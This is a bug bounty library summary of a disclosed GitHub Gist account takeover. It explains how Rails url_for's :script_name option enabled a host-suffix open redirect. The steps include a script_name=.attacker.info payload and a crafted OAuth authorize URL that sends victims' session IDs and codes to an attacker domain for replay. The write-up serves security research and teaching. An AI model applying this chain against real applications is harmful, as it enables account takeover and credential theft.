# GitHub Gist - Account takeover via open redirect - $10,000 Bounty

Rails url_for with only_path:true still honored attacker-controlled :script_name, letting a redirect escape the host and leak Gist OAuth code/session for account takeover.

- Payout: $10,000
- Severity: critical
- Program: GitHub
- Credited: William Bowling / vakzz
- Disclosed: 2020-10-19
- Write-up quality: 9/10
- Original: https://devcraft.io/2020/10/19/github-gist-account-takeover.html
- Library page: https://bugbountylibrary.com/r/blog%3Adevcraft-io-2020-10-19-github-gist-account-takeover-html
- Tags: domain:web impact:ato kind:bounty platform:blog sev:critical tech:oauth tech:ruby technique:chained technique:source-review vuln:account-takeover vuln:open-redirect

**Target:** Rails application controller redirect / OAuth callback
**Root cause:** url_for with only_path:true still uses the :script_name option, which is prepended to the path without requiring a leading slash; redirect_to then appends it directly to the host, allowing domain suffix control.
**Steps:**
1. Identify code doing `url_for(filtered_params.merge(only_path: true))` in a before_action redirect where params come from REQUEST_URI query.
2. Send `?source=message&script_name=ggg` and observe `Location: http://local.devggg/welcome/index` — host suffix controllable.
3. Set `script_name=.attacker.info` to redirect to attacker domain.
4. Target Gist OAuth: `https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https://gist.github.com/auth/github/callback` with `script_name=.attacker.info` appended.
5. Victim's browser is redirected to attacker domain with `browser_session_id` and `code` in query.
6. Attacker obtains a valid `state` from a fresh callback visit, then replays `browser_session_id`, `code`, `state` to log in as victim.
**How found:** While hunting CSRF token bypasses, audited every URL-generation method; noticed url_for called with user-controllable hashes and read the docs/implementation to find the rarely-blacklisted :script_name option, then tested it against a redirect_to sink.
**Exploitation:** Attacker crafts an OAuth authorize link whose redirect_uri hits gist.github.com/auth/github/callback with script_name=.attacker.info; the early before_action redirect sends the victim to the attacker domain carrying browser_session_id and code. Attacker combines these with a self-generated state param to complete the OAuth flow and obtain a Gist session as the victim.
**Escalation:** Open redirect chained into OAuth code/session leak, escalating from low-severity redirect to full Gist account takeover.
**Insight:** When auditing Rails url_for sinks, check whether :script_name is filtered — it is prepended to the path without requiring a leading slash, so `script_name=.attacker.tld` turns an only_path:true redirect into a host-suffix open redirect. Also check early before_action redirects since they affect every route.
